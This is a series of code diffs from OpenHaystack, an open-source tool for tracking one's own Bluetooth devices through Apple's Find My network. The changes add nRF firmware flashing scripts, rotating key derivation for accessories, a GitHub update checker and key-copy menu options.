print(f'[*] Patching hex file \'{hex_file_path}\' with supplied keys')
# Open hex file and patch cryptographic keys
ih = IntelHex(hex_file_path)
sk_address = ih.find(b'OFFLINEFINDINGSYMMETRICKEYHERE!')
print(f'[*] SK address in hex file is {sk_address}')
ih.puts(sk_address, symmetric_key)
pk_address = ih.find(b'OFFLINEFINDINGUNCOMPRESSEDPUBLICKEYHERE!AAAAAAAAAAAAAAAAA')
print(f'[*] PK address in hex file is {pk_address}')
ih.puts(pk_address, public_key)
update_interval_address = ih.find(b'\x37\x33\x33\x31')
if update_interval_address - pk_address != 60:
print(f'[!] {update_interval_address - pk_address} bytes between update interval and private key, but should be 60 bytes')
exit(-1)
print(f'[*] Update Interval address in hex file is {update_interval_address}')
update_interval_hex = (update_interval).to_bytes(4, byteorder='little')
ih.puts(update_interval_address, update_interval_hex)
# Initialize an API object with the target family. This will load nrfjprog.dll with the proper target family.
api = LowLevel.API(device_family)
# Open the loaded DLL and connect to an emulator probe. If several are connected a pop up will appear.
api.open()
try:
if snr is not None:
api.connect_to_emu_with_snr(snr)
else:
api.connect_to_emu_without_snr()
# Just for info
device_version = api.read_device_version()
print(f'[*] Device version {device_version}')
# Erase all the flash of the device
print('[*] Erasing all flash in the microcontroller.')
api.erase_all()
# Program the parsed hex into the device's memory
print(f'[*] Writing patched {hex_file_path} to device.')
for segment in ih.segments():
api.write(segment[0], ih.gets(segment[0], segment[1] - segment[0]), True)
# Reset the device and run.
api.sys_reset()
api.go()
print('[*] Program started')
# Close the loaded DLL to free resources.
api.close()
print('[*] Flashed openHayStack Firmware successfully')
except LowLevel.APIError:
api.close()
raise
if __name__ == "__main__":
# Parse arguments given when calling the script via command line
parser = argparse.ArgumentParser()
parser.add_argument('-pk', '--public-key', help="Base64 encoded Public key (29 bytes)", required=True)
parser.add_argument('-sk', '--symmetric-key', help="Base64 encoded Symmetric key (32 bytes)", required=True)
parser.add_argument('-ui', '--update-interval', help="Update interval for key derivation in minutes", required=True, type=int)
parser.add_argument('-ph', '--path-to-hex', help="Path to hexfile, defaults to script folder", default="")
args = vars(parser.parse_args())
flash_openhaystack_fw(public_key=b64decode(args['public_key']), symmetric_key=b64decode(args['symmetric_key']), update_interval=args['update_interval'], hex_path=args['path_to_hex'])

View File

@@ -1,54 +1,37 @@
#!/bin/bash
# Directory of this script
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
cleanup() {
echo "### done"
}
# Defaults: Directory for the virtual environment
VENV_DIR="$SCRIPT_DIR/venv"
# Defaults: Serial port to access the ESP32
PORT=/dev/ttyS0
# Defaults: Fast baud rate
BAUDRATE=921600
# Parameter parsing
while [[ $# -gt 0 ]]; do
KEY="$1"
case "$KEY" in
-p|--port)
PORT="$2"
shift
shift
;;
-s|--slow)
BAUDRATE=115200
shift
;;
-v|--venvdir)
VENV_DIR="$2"
shift
shift
;;
-h|--help)
echo "flash_esp32.sh - Flash the OpenHaystack firmware onto an ESP32 module"
echo "flash_nrf.sh - Flash the OpenHaystack firmware onto a nRF board"
echo ""
echo " This script will create a virtual environment for the required tools."
echo ""
echo "Call: flash_esp32.sh [-p <port>] [-v <dir>] [-s] PUBKEY"
echo "Call: flash_nrf.sh [-v <dir>] PUBLIC_KEY SYMMETRIC_KEY UPDATE_INTERVAL"
echo ""
echo "Required Arguments:"
echo " PUBKEY"
echo " The base64-encoded public key"
echo " PUBLIC_KEY"
echo " The base64-encoded public key"
echo " SYMMETRIC_KEY"
echo " The base64-encoded symmetric key"
echo " UPDATE_INTERVAL"
echo " Refresh interval for key derivation in minutes"
echo ""
echo "Optional Arguments:"
echo " -h, --help"
echo " Show this message and exit."
echo " -p, --port <port>"
echo " Specify the serial interface to which the device is connected."
echo " -s, --slow"
echo " Use 115200 instead of 921600 baud when flashing."
echo " Might be required for long/bad USB cables or slow USB-to-Serial converters."
echo " -v, --venvdir <dir>"
echo " Select Python virtual environment with esptool installed."
echo " If the directory does not exist, it will be created."
@@ -58,6 +41,22 @@ while [[ $# -gt 0 ]]; do
if [[ -z "$PUBKEY" ]]; then
PUBKEY="$1"
shift
if [[ -z "$SYMKEY" ]]; then
SYMKEY="$1"
shift
if [[ -z "$UPDATE_INTERVAL" ]]; then
UPDATE_INTERVAL="$1"
shift
else
echo "Got unexpected parameter $1"
exit 1
fi
else
echo "Got unexpected parameter $1"
exit 1
fi
else
echo "Got unexpected parameter $1"
exit 1
@@ -66,21 +65,36 @@ while [[ $# -gt 0 ]]; do
esac
done
# Directory of this script
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
# Defaults: Directory for the virtual environment
VENV_DIR="$SCRIPT_DIR/venv"
# Sanity check: Pubkey exists
if [[ -z "$PUBKEY" ]]; then
echo "Missing public key, call with --help for usage"
exit 1
fi
# Sanity check: Port
if [[ ! -e "$PORT" ]]; then
echo "$PORT does not exist, please specify a valid serial interface with the -p argument"
# Sanity check: Symmetric key exists
if [[ -z "$SYMKEY" ]]; then
echo "Missing symmetric key, call with --help for usage"
exit 1
fi
#Sanity check: update Interval exists
if [[ -z "$UPDATE_INTERVAL" ]]; then
echo "Missing update interval, call with --help for usage"
exit 1
fi
# Setup the virtual environment
if [[ ! -d "$VENV_DIR" ]]; then
# Create the virtual environment
echo "# Setting up python env in folder $VENV_DIR"
PYTHON="$(which python3)"
if [[ -z "$PYTHON" ]]; then
PYTHON="$(which python)"
@@ -102,38 +116,21 @@ if [[ ! -d "$VENV_DIR" ]]; then
echo "Creating the virtual environment in $VENV_DIR failed."
exit 1
fi
echo "# Activate venv and install pynrfjprog and intelhex"
source "$VENV_DIR/bin/activate"
pip install --upgrade pip
pip install esptool
pip install pynrfjprog && pip install intelhex
if [[ $? != 0 ]]; then
echo "Could not install Python 3 module esptool in $VENV_DIR";
echo "Could not install Python 3 module pynrfjprog in $VENV_DIR";
exit 1
fi
else
source "$VENV_DIR/bin/activate"
fi
# Prepare the key
KEYFILE="$SCRIPT_DIR/tmp.key"
if [[ -f "$KEYFILE" ]]; then
echo "$KEYFILE already exists, stopping here not to override files..."
exit 1
fi
echo "$PUBKEY" | python3 -m base64 -d - > "$KEYFILE"
if [[ $? != 0 ]]; then
echo "Could not parse the public key. Please provide valid base64 input"
exit 1
fi
# Call esptool.py. Errors from here on are critical
# Call flash_nrf.py. Errors from here on are critical
set -e
# Clear NVM
esptool.py --after no_reset \
erase_region 0x9000 0x5000
esptool.py --before no_reset --baud $BAUDRATE \
write_flash 0x1000 "$SCRIPT_DIR/build/bootloader/bootloader.bin" \
0x8000 "$SCRIPT_DIR/build/partition_table/partition-table.bin" \
0xe000 "$KEYFILE" \
0x10000 "$SCRIPT_DIR/build/openhaystack.bin"
rm "$KEYFILE"
trap cleanup INT TERM EXIT
echo "### Executing python script ###"
python3 "$(dirname "$0")"/flash_nrf.py --public-key $PUBKEY --symmetric-key $SYMKEY --update-interval $UPDATE_INTERVAL --path-to-hex "$(dirname "$0")"/
echo "### Python script finished ###"

View File

@@ -20,8 +20,36 @@ struct MailPluginManager {
let pluginURL = FileManager.default.homeDirectoryForCurrentUser.appendingPathComponent("Library/Mail/Bundles").appendingPathComponent(mailBundleName + ".mailbundle")
let localPluginURL = Bundle.main.url(forResource: mailBundleName, withExtension: "mailbundle")!
var isMailPluginInstalled: Bool {
return FileManager.default.fileExists(atPath: pluginURL.path)
//Check if the plug-in is compatible by comparing the IDs
guard FileManager.default.fileExists(atPath: pluginURL.path) else {
return false
}
let infoPlistURL = pluginURL.appendingPathComponent("Contents/Info.plist")
let localInfoPlistURL = localPluginURL.appendingPathComponent("Contents/Info.plist")
guard let infoPlistData = try? Data(contentsOf: infoPlistURL),
let infoPlistDict = try? PropertyListSerialization.propertyList(from: infoPlistData, options: [], format: nil) as? [String: AnyHashable],
let localInfoPlistData = try? Data(contentsOf: localInfoPlistURL),
let localInfoPlistDict = try? PropertyListSerialization.propertyList(from: localInfoPlistData, options: [], format: nil) as? [String: AnyHashable]
else { return false }
//Compare the supported plug-ins
let uuidEntries = localInfoPlistDict.keys.filter({ $0.contains("PluginCompatibilityUUIDs") })
for uuidEntry in uuidEntries {
guard let localEntry = localInfoPlistDict[uuidEntry] as? [String],
let installedEntry = infoPlistDict[uuidEntry] as? [String]
else { return false }
if localEntry != installedEntry {
return false
}
}
return true
}
/// Shows a NSSavePanel to install the mail plugin at the required place.
@@ -58,9 +86,8 @@ struct MailPluginManager {
throw PluginError.permissionNotGranted
}
let localPluginURL = Bundle.main.url(forResource: mailBundleName, withExtension: "mailbundle")!
do {
// Create the Bundles folder if necessary
try FileManager.default.createDirectory(at: pluginsFolderURL, withIntermediateDirectories: true, attributes: nil)
} catch {
print(error.localizedDescription)

View File

@@ -74,10 +74,8 @@ struct MicrobitController {
return patchedFirmware
}
static func deploy(accessory: Accessory) throws {
let microbits = try MicrobitController.findMicrobits()
guard let microBitURL = microbits.first,
let firmwareURL = Bundle.main.url(forResource: "firmware", withExtension: "bin")
static func patchFirmware(for accessory: Accessory) throws -> Data {
guard let firmwareURL = Bundle.main.url(forResource: "firmware", withExtension: "bin")
else {
throw FirmwareFlashError.notFound
}
@@ -87,6 +85,18 @@ struct MicrobitController {
let publicKey = try accessory.getAdvertisementKey()
let patchedFirmware = try MicrobitController.patchFirmware(firmware, pattern: pattern, with: publicKey)
return patchedFirmware
}
static func deploy(accessory: Accessory) throws {
let microbits = try MicrobitController.findMicrobits()
guard let microBitURL = microbits.first
else {
throw FirmwareFlashError.notFound
}
let patchedFirmware = try self.patchFirmware(for: accessory)
try MicrobitController.deployToMicrobit(microBitURL, firmwareFile: patchedFirmware)
}

View File

@@ -31,6 +31,11 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
@Published var name: String
let id: Int
let privateKey: Data
let symmetricKey: Data
@Published var usesDerivation: Bool
@Published var oldestRelevantSymmetricKey: Data
@Published var lastDerivationTimestamp: Date
@Published var updateInterval: TimeInterval
@Published var locations: [FindMyLocationReport]?
@Published var color: Color
@Published var icon: String
@@ -41,6 +46,10 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
// Reset active status if deployed
if !wasDeployed && isDeployed {
self.isActive = false
self.usesDerivation = false
} else if wasDeployed && !isDeployed {
self.usesDerivation = false
self.updateInterval = TimeInterval(60 * 60 * 24)
}
}
}
@@ -63,6 +72,14 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
}
self.id = key.hashValue
self.privateKey = key
let symKey = SymmetricKey(size: .bits256)
self.symmetricKey = symKey.withUnsafeBytes {
return Data(Array($0))
}
self.usesDerivation = false
self.oldestRelevantSymmetricKey = self.symmetricKey
self.lastDerivationTimestamp = Date()
self.updateInterval = TimeInterval(60 * 60)
self.color = color
self.icon = iconName
self.isDeployed = false
@@ -73,6 +90,12 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
self.name = try container.decode(String.self, forKey: .name)
self.id = try container.decode(Int.self, forKey: .id)
self.privateKey = try container.decode(Data.self, forKey: .privateKey)
let symmetricKey = (try? container.decode(Data.self, forKey: .symmetricKey)) ?? SymmetricKey(size: .bits256).withUnsafeBytes { return Data($0) }
self.symmetricKey = symmetricKey
self.usesDerivation = (try? container.decode(Bool.self, forKey: .usesDerivation)) ?? false
self.oldestRelevantSymmetricKey = (try? container.decode(Data.self, forKey: .oldestRelevantSymmetricKey)) ?? symmetricKey
self.lastDerivationTimestamp = (try? container.decode(Date.self, forKey: .lastDerivationTimestamp)) ?? Date()
self.updateInterval = (try? container.decode(TimeInterval.self, forKey: .updateInterval)) ?? TimeInterval(60 * 60 * 24)
self.icon = (try? container.decode(String.self, forKey: .icon)) ?? ""
self.isDeployed = (try? container.decode(Bool.self, forKey: .isDeployed)) ?? false
self.isActive = (try? container.decode(Bool.self, forKey: .isActive)) ?? false
@@ -93,6 +116,11 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
try container.encode(self.name, forKey: .name)
try container.encode(self.id, forKey: .id)
try container.encode(self.privateKey, forKey: .privateKey)
try container.encode(self.symmetricKey, forKey: .symmetricKey)
try container.encode(self.usesDerivation, forKey: .usesDerivation)
try container.encode(self.oldestRelevantSymmetricKey, forKey: .oldestRelevantSymmetricKey)
try container.encode(self.lastDerivationTimestamp, forKey: .lastDerivationTimestamp)
try container.encode(self.updateInterval, forKey: .updateInterval)
try container.encode(self.icon, forKey: .icon)
try container.encode(self.isDeployed, forKey: .isDeployed)
try container.encode(self.isActive, forKey: .isActive)
@@ -114,6 +142,15 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
return publicKey
}
/// Get Uncompressed public key
/// This is needed for libraries such as mbedtls that do not support loading compressed points
func getUncompressedPublicKey() throws -> Data {
guard let publicKey = BoringSSL.deriveUncompressedPublicKey(fromPrivateKey: self.privateKey) else {
throw KeyError.keyDerivationFailed
}
return publicKey
}
func getAdvertisementKey() throws -> Data {
guard var publicKey = BoringSSL.derivePublicKey(fromPrivateKey: self.privateKey) else {
throw KeyError.keyDerivationFailed
@@ -147,30 +184,140 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
return Data(digest)
}
func getNewestSymmetricKey() -> Data {
var derivationTimestamp = self.lastDerivationTimestamp
var symmetricKey = self.oldestRelevantSymmetricKey
while derivationTimestamp < Date() {
derivationTimestamp.addTimeInterval(self.updateInterval)
symmetricKey = Accessory.kdf(inputData: self.symmetricKey, sharedInfo: "update".data(using: .ascii)!, bytesToReturn: 32)
}
return symmetricKey
}
func toFindMyDevice() throws -> FindMyDevice {
let findMyKey = FindMyKey(
advertisedKey: try self.getAdvertisementKey(),
hashedKey: try self.hashedPublicKey(),
privateKey: self.privateKey,
startTime: nil,
duration: nil,
pu: nil,
yCoordinate: nil,
fullKey: nil)
var findMyKey = [FindMyKey]()
/// Always append first FindMyKey to support devices without derivation
findMyKey.append(
FindMyKey(
advertisedKey: try self.getAdvertisementKey(),
hashedKey: try self.hashedPublicKey(),
privateKey: self.privateKey,
startTime: nil,
duration: nil,
pu: nil,
yCoordinate: nil,
fullKey: nil)
)
if self.usesDerivation {
/// Derive FindMyKeys until we have symmetric key from one week before now
while self.lastDerivationTimestamp < Date() - TimeInterval(7 * 24 * 60 * 60) {
self.lastDerivationTimestamp.addTimeInterval(self.updateInterval)
self.oldestRelevantSymmetricKey = Accessory.kdf(inputData: self.oldestRelevantSymmetricKey, sharedInfo: "update".data(using: .ascii)!, bytesToReturn: 32)
}
/// we need to generate Keys from seven days in the past until now and 10 extra keys in case of desynchronization
let untilDate = Date() + TimeInterval(self.updateInterval * 11)
var derivationTimestamp = self.lastDerivationTimestamp
var derivedSymmetricKey = self.oldestRelevantSymmetricKey
print("--- Derived keys for \(self.name) ---")
print("Masterbacon symmetric key \(self.symmetricKey.hexEncodedString())")
do {
let uncompressedMasterBeaconKey = try self.getUncompressedPublicKey()
print("Masterbeacon public key (uncompressed) \(uncompressedMasterBeaconKey.hexEncodedString())")
} catch {
print("Failed to get master beacon public key (only needed for printing)")
}
while derivationTimestamp < untilDate {
/// Step 1: derive SKN_i
derivedSymmetricKey = Accessory.kdf(inputData: derivedSymmetricKey, sharedInfo: "update".data(using: .ascii)!, bytesToReturn: 32)
/// Step 2: derive u_i and v_i
let derivedAntiTrackingKeys = Accessory.kdf(inputData: derivedSymmetricKey, sharedInfo: "diversify".data(using: .ascii)!, bytesToReturn: 72)
/// Step 3 & 4: compute private and public key
guard let derivedPrivateKey = BoringSSL.calculatePrivateKey(fromSharedData: derivedAntiTrackingKeys, masterBeaconPrivateKey: self.privateKey) else {
throw KeyError.keyDerivationFailed
}
guard let derivedPublicKey = BoringSSL.derivePublicKey(fromPrivateKey: derivedPrivateKey) else {
throw KeyError.keyDerivationFailed
}
/// Drop first byte to get advertisment key
let derivedAdvertisementKey = derivedPublicKey.dropFirst()
guard derivedAdvertisementKey.count == 28 else { throw KeyError.keyDerivationFailed }
/// Get hash of advertisment key
var sha = SHA256()
sha.update(data: derivedAdvertisementKey)
let derivedAdvertisementKeyHash = Data(sha.finalize())
print("-> Derived keys for \(derivationTimestamp):")
//print("Dervided anti tracking keys \(derivedAntiTrackingKeys.hexEncodedString())")
//print("SymmetricKey \(derivedSymmetricKey.hexEncodedString())")
print("Derived public key \(derivedPublicKey.hexEncodedString())")
findMyKey.append(
FindMyKey(
advertisedKey: derivedAdvertisementKey,
hashedKey: derivedAdvertisementKeyHash,
privateKey: derivedPrivateKey,
startTime: nil,
duration: nil,
pu: nil,
yCoordinate: nil,
fullKey: nil)
)
/// Add time interval to derivation timestamp
derivationTimestamp.addTimeInterval(self.updateInterval)
}
}
return FindMyDevice(
deviceId: String(self.id),
keys: [findMyKey],
keys: findMyKey,
catalinaBigSurKeyFiles: nil,
reports: nil,
decryptedReports: nil)
}
static func kdf(inputData: Data, sharedInfo: Data, bytesToReturn: Int) -> Data {
var derivedKey = Data()
var counter: Int32 = 1
/// derive from input and shared info until we have enough data
while derivedKey.count < bytesToReturn {
var shaDigest = SHA256()
shaDigest.update(data: inputData)
let counterData = Data(Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
shaDigest.update(data: counterData)
shaDigest.update(data: sharedInfo)
derivedKey.append(Data(shaDigest.finalize()))
counter += 1
}
/// drop bytes which are not needed and return
derivedKey = derivedKey.dropLast(derivedKey.count - bytesToReturn)
return derivedKey
}
func resetDerivationState() {
/// reset keys and derivation time in case an accessory is reflashed with old keys
self.oldestRelevantSymmetricKey = self.symmetricKey
self.lastDerivationTimestamp = Date()
}
enum CodingKeys: String, CodingKey {
case name
case id
case privateKey
case usesDerivation
case symmetricKey
case oldestRelevantSymmetricKey
case lastDerivationTimestamp
case updateInterval
case colorComponents
case colorSpaceName
case icon

View File

@@ -7,6 +7,7 @@
// SPDX-License-Identifier: AGPL-3.0-only
//
import CoreLocation
import Foundation
import SwiftUI
@@ -19,10 +20,10 @@ struct PreviewData {
static let latitude: Double = 49.878046
static let longitude: Double = 8.656993
static func randomLocation() -> CLLocation {
static func randomLocation(lat: Double = latitude, lng: Double = longitude, distance: Double = 0.005) -> CLLocation {
return CLLocation(
latitude: latitude + Double.random(in: 0..<0.005) * (Bool.random() ? -1 : 1),
longitude: longitude + Double.random(in: 0..<0.005) * (Bool.random() ? -1 : 1)
latitude: lat + Double.random(in: 0..<distance) * (Bool.random() ? -1 : 1),
longitude: lng + Double.random(in: 0..<distance) * (Bool.random() ? -1 : 1)
)
}
@@ -37,6 +38,16 @@ struct PreviewData {
accessory.isDeployed = true
accessory.isActive = true
accessory.isNearby = Bool.random()
//Generate recent locations
let startDate = Date().addingTimeInterval(-60 * 60 * 24)
var date = startDate
var locations: [FindMyLocationReport] = []
while date < Date() {
let location = randomLocation(lat: accessory.lastLocation!.coordinate.latitude, lng: accessory.lastLocation!.coordinate.longitude, distance: 0.0005)
locations.append(FindMyLocationReport(lat: location.coordinate.latitude, lng: location.coordinate.longitude, acc: 10, dP: date, t: date, c: 0))
date += 30 * 60
}
accessory.locations = locations
return accessory
}

View File

@@ -0,0 +1,72 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
struct NRFController {
static var nrfFirmwareDirectory: URL? {
Bundle.main.resourceURL?.appendingPathComponent("NRF")
}
/// Runs the script to flash the firmware onto an nRF Device.
static func flashToNRF(accessory: Accessory, updateInterval: Int, completion: @escaping (ClosureResult) -> Void) throws {
// Copy firmware to a temporary directory
let temp = NSTemporaryDirectory() + "OpenHaystack"
let urlTemp = URL(fileURLWithPath: temp)
try? FileManager.default.removeItem(at: urlTemp)
try? FileManager.default.createDirectory(atPath: temp, withIntermediateDirectories: false, attributes: nil)
guard let nrfDirectory = nrfFirmwareDirectory else { return }
try FileManager.default.copyFolder(from: nrfDirectory, to: urlTemp)
let urlScript = urlTemp.appendingPathComponent("flash_nrf.sh")
try FileManager.default.setAttributes([FileAttributeKey.posixPermissions: 0o755], ofItemAtPath: urlScript.path)
try FileManager.default.setAttributes([FileAttributeKey.posixPermissions: 0o755], ofItemAtPath: urlTemp.appendingPathComponent("flash_nrf.py").path)
// Get public key, newest relevant symmetric key and updateInterval for flashing
let masterBeaconPublicKey = try accessory.getUncompressedPublicKey()
let masterBeaconSymmetricKey = accessory.getNewestSymmetricKey()
let arguments = [masterBeaconPublicKey.base64EncodedString(), masterBeaconSymmetricKey.base64EncodedString(), String(updateInterval)]
// Create file for logging and get file handle
let loggingFileUrl = urlTemp.appendingPathComponent("nrf_installer.log")
try "".write(to: loggingFileUrl, atomically: true, encoding: .utf8)
let loggingFileHandle = FileHandle.init(forWritingAtPath: loggingFileUrl.path)!
// Run script
let task = try NSUserUnixTask(url: urlScript)
task.standardOutput = loggingFileHandle
task.standardError = loggingFileHandle
task.execute(withArguments: arguments) { e in
DispatchQueue.main.async {
if let error = e {
completion(.failure(loggingFileUrl, error))
} else {
completion(.success(loggingFileUrl))
}
}
}
try loggingFileHandle.close()
}
}
enum ClosureResult {
case success(URL)
case failure(URL, Error)
}
enum NRFFirmwareFlashError: Error {
/// Missing files for flashing
case notFound
/// Flashing / writing failed
case flashFailed
}

View File

@@ -0,0 +1,201 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import AppKit
import Foundation
/// Can check if a new OpenHaystack version is needed and download it.
public struct UpdateCheckController {
public static func checkForNewVersion() {
// Load the GitHub Releases page
let releasesURL = URL(string: "https://github.com/seemoo-lab/openhaystack/releases")!
URLSession.shared.dataTask(with: releasesURL) { optionalData, response, error in
guard let data = optionalData,
(response as? HTTPURLResponse)?.statusCode == 200,
let htmlString = String(data: data, encoding: .utf8)
else {
return
}
guard let availableVersion = getVersion(from: htmlString) else {
return
}
//Get installed version
let version = Bundle.main.infoDictionary?["CFBundleVersionShortString"] as? String ?? "0"
let comparisonResult = compareVersions(availableVersion: availableVersion, installedVersion: version)
DispatchQueue.main.async {
if comparisonResult == .older, askToDownloadUpdate() == .alertSecondButtonReturn {
//The currently installed version is older. Install an update
self.downloadUpdate(
version: availableVersion,
finished: { success in
if success {
let result = successDownloadAlert()
if result == .alertSecondButtonReturn {
//Open the download folder
let downloadURL = FileManager.default.urls(for: .downloadsDirectory, in: .userDomainMask)[0]
NSWorkspace.shared.open(downloadURL)
}
} else {
if downloadFailedAlert() == .alertSecondButtonReturn {
NSWorkspace.shared.open(URL(string: "https://github.com/seemoo-lab/openhaystack/releases")!)
}
}
})
}
}
}.resume()
}
internal static func getVersion(from htmlString: String) -> String? {
guard let regex = try? NSRegularExpression(pattern: "Release (v[0-9]+(.[0-9]+)?(.[0-9]+)?)") else {
return nil
}
let htmlNSString = htmlString as NSString
let htmlRange = NSRange(location: 0, length: htmlNSString.length)
if let checkResult = regex.firstMatch(in: htmlNSString as String, options: [], range: htmlRange),
checkResult.numberOfRanges >= 2
{
//Get the latest release version range
// A result should have multiple ranges for each capture group. 1 is the capture group for the version number
let releaseVersionRange = checkResult.range(at: 1)
let releaseVersion = htmlNSString.substring(with: releaseVersionRange)
let releaseVersionNumber = releaseVersion.replacingOccurrences(of: "v", with: "")
return releaseVersionNumber
}
return nil
}
/// Compares two version strings and returns if the installed version is older, newer or the same
/// - Parameters:
/// - availableVersion: The latest available version
/// - installedVersion: The currently installed version
/// - Returns: .older when a newer version is available. .newer when the installed version is newer .same, if both versions are equal
internal static func compareVersions(availableVersion: String, installedVersion: String) -> VersionCompare {
let availableVersionSplit = availableVersion.split(separator: ".")
let installedVersionSplit = installedVersion.split(separator: ".")
for (idx, availableVersionPart) in availableVersionSplit.enumerated() {
if idx < installedVersionSplit.count {
guard let avpi = Int(availableVersionPart),
let ivpi = Int(installedVersionSplit[idx])
else { return .older }
if avpi > ivpi {
return .older
} else if ivpi > avpi {
return .newer
}
} else {
//The installed version is x.x
// The new version is x.x.y so it must be older
return .older
}
}
if installedVersionSplit.count > availableVersionSplit.count {
//The installed version has a higher sub-version. So it must be newer
return .newer
}
// All numbers were equal
return .same
}
enum VersionCompare {
case same, newer, older
}
static func downloadUpdate(version: String, finished: @escaping (Bool) -> Void) {
//Download the current version into a file in Downloads
let downloadURL = URL(string: "https://github.com/seemoo-lab/openhaystack/releases/download/v\(version)/OpenHaystack.zip")!
let task = URLSession.shared.downloadTask(with: downloadURL) { optionalFileURL, response, error in
guard let downloadLocation = optionalFileURL else {
finished(false)
return
}
//Move the file to the downloads folder
let downloadURL = FileManager.default.urls(for: .downloadsDirectory, in: .userDomainMask)[0]
let openHaystackURL = downloadURL.appendingPathComponent("OpenHaystack.zip")
do {
let fm = FileManager.default
if fm.fileExists(atPath: openHaystackURL.path) {
_ = try fm.replaceItemAt(openHaystackURL, withItemAt: downloadLocation)
} else {
try fm.moveItem(at: downloadLocation, to: openHaystackURL)
}
DispatchQueue.main.async { finished(true) }
} catch let error {
print(error.localizedDescription)
DispatchQueue.main.async { finished(false) }
}
}
task.resume()
}
private static func askToDownloadUpdate() -> NSApplication.ModalResponse {
let alert = NSAlert()
alert.messageText = NSLocalizedString("New version available", comment: "Alert title")
alert.informativeText = NSLocalizedString("A new version of OpenHaystack is available. Do you want to download it now?", comment: "Alert text")
alert.addButton(withTitle: "Cancel")
alert.addButton(withTitle: "Download")
return alert.runModal()
}
private static func successDownloadAlert() -> NSApplication.ModalResponse {
let alert = NSAlert()
alert.messageText = NSLocalizedString("Successfully downloaded update", comment: "Alert title")
alert.informativeText = NSLocalizedString("The new version has been downloaded successfully and it was placed in your Downloads folder.", comment: "Alert text")
alert.addButton(withTitle: "Okay")
alert.addButton(withTitle: "Open folder")
return alert.runModal()
}
private static func downloadFailedAlert() -> NSApplication.ModalResponse {
let alert = NSAlert()
alert.messageText = NSLocalizedString("Download failed", comment: "Alert title")
alert.informativeText = NSLocalizedString("To update to the newest version, please open the releases page on GitHub", comment: "Alert text")
alert.addButton(withTitle: "Cancel")
alert.addButton(withTitle: "Open")
return alert.runModal()
}
}
extension String {
func substring(from range: NSRange) -> String {
let substring = self[self.index(startIndex, offsetBy: range.lowerBound)..<self.index(startIndex, offsetBy: range.upperBound)]
return String(substring)
}
}

View File

@@ -36,6 +36,15 @@ struct AccessoryListEntry: View {
.font(.footnote)
}
func updateIntervalView() -> some View {
let intervalFormatter = DateComponentsFormatter()
intervalFormatter.unitsStyle = .abbreviated
return Group {
Text("Key derivation interval: \(intervalFormatter.string(from: accessory.updateInterval)!)")
}.font(.footnote)
}
var body: some View {
HStack {
@@ -51,6 +60,9 @@ struct AccessoryListEntry: View {
.font(.headline)
}
self.timestampView()
if accessory.usesDerivation {
self.updateIntervalView()
}
}
Spacer()
@@ -64,16 +76,35 @@ struct AccessoryListEntry: View {
.fill(accessory.isNearby ? Color.green : accessory.isActive ? Color.orange : Color.red)
.frame(width: 8, height: 8)
}
.listRowBackground(Color.clear)
.padding(EdgeInsets(top: 5, leading: 0, bottom: 5, trailing: 0))
.contextMenu {
Button("Delete", action: { self.delete(accessory) })
Divider()
Button("Rename", action: { self.editingName = true })
Menu("Key derivation options") {
Button("Toggle key derivation", action: { accessory.usesDerivation = !accessory.usesDerivation })
Button("Reset derivation state", action: { accessory.resetDerivationState() })
}
Divider()
Button("Copy advertisment key (Base64)", action: { self.copyPublicKey(of: accessory) })
Button("Copy key ID (Base64)", action: { self.copyPublicKeyHash(of: accessory) })
Menu("Copy advertisement key") {
Button("Base64", action: { self.copyAdvertisementKeyB64(of: accessory) })
Button("Byte array", action: { self.copyAdvertisementKey(escapedString: false) })
Button("Escaped string", action: { self.copyAdvertisementKey(escapedString: true) })
}
Menu("Copy symmetric and uncompressed public key") {
Button("Base64", action: { self.copySymmetricAndPublicKeyBase64(of: accessory) })
Button("Escaped string", action: { self.copySymmetricAndPublicKey(of: accessory) })
}
Divider()
Button("Mark as \(accessory.isDeployed ? "deployable" : "deployed")", action: { accessory.isDeployed.toggle() })
Group {
Button("Copy private Key B64", action: { copyPrivateKey(accessory: accessory) })
Button("Export Locations", action: { exportLocations(accessory: accessory) })
}
}
}
@@ -89,6 +120,18 @@ struct AccessoryListEntry: View {
}
}
func copyAdvertisementKeyB64(of accessory: Accessory) {
do {
let publicKey = try accessory.getAdvertisementKey()
let pasteboard = NSPasteboard.general
pasteboard.prepareForNewContents(with: .currentHostOnly)
pasteboard.setString(publicKey.base64EncodedString(), forType: .string)
} catch {
os_log("Failed extracing public key %@", String(describing: error))
assert(false)
}
}
func copyPublicKeyHash(of accessory: Accessory) {
do {
let keyID = try accessory.getKeyId()
@@ -101,6 +144,78 @@ struct AccessoryListEntry: View {
}
}
func copyAdvertisementKey(escapedString: Bool) {
do {
let publicKey = try self.accessory.getAdvertisementKey()
let keyByteArray = [UInt8](publicKey)
if escapedString {
let string = keyByteArray.map { "\\x\(String($0, radix: 16))" }.joined()
let pasteboard = NSPasteboard.general
pasteboard.prepareForNewContents(with: .currentHostOnly)
pasteboard.setString(string, forType: .string)
} else {
let string = keyByteArray.map { "0x\(String($0, radix: 16))" }.joined(separator: ", ")
let pasteboard = NSPasteboard.general
pasteboard.prepareForNewContents(with: .currentHostOnly)
pasteboard.setString(string, forType: .string)
}
} catch {
os_log("Failed extracing public key %@", String(describing: error))
assert(false)
}
}
func copySymmetricAndPublicKey(of accessory: Accessory) {
do {
let symmetricKey = accessory.symmetricKey
let publicKey = try accessory.getUncompressedPublicKey()
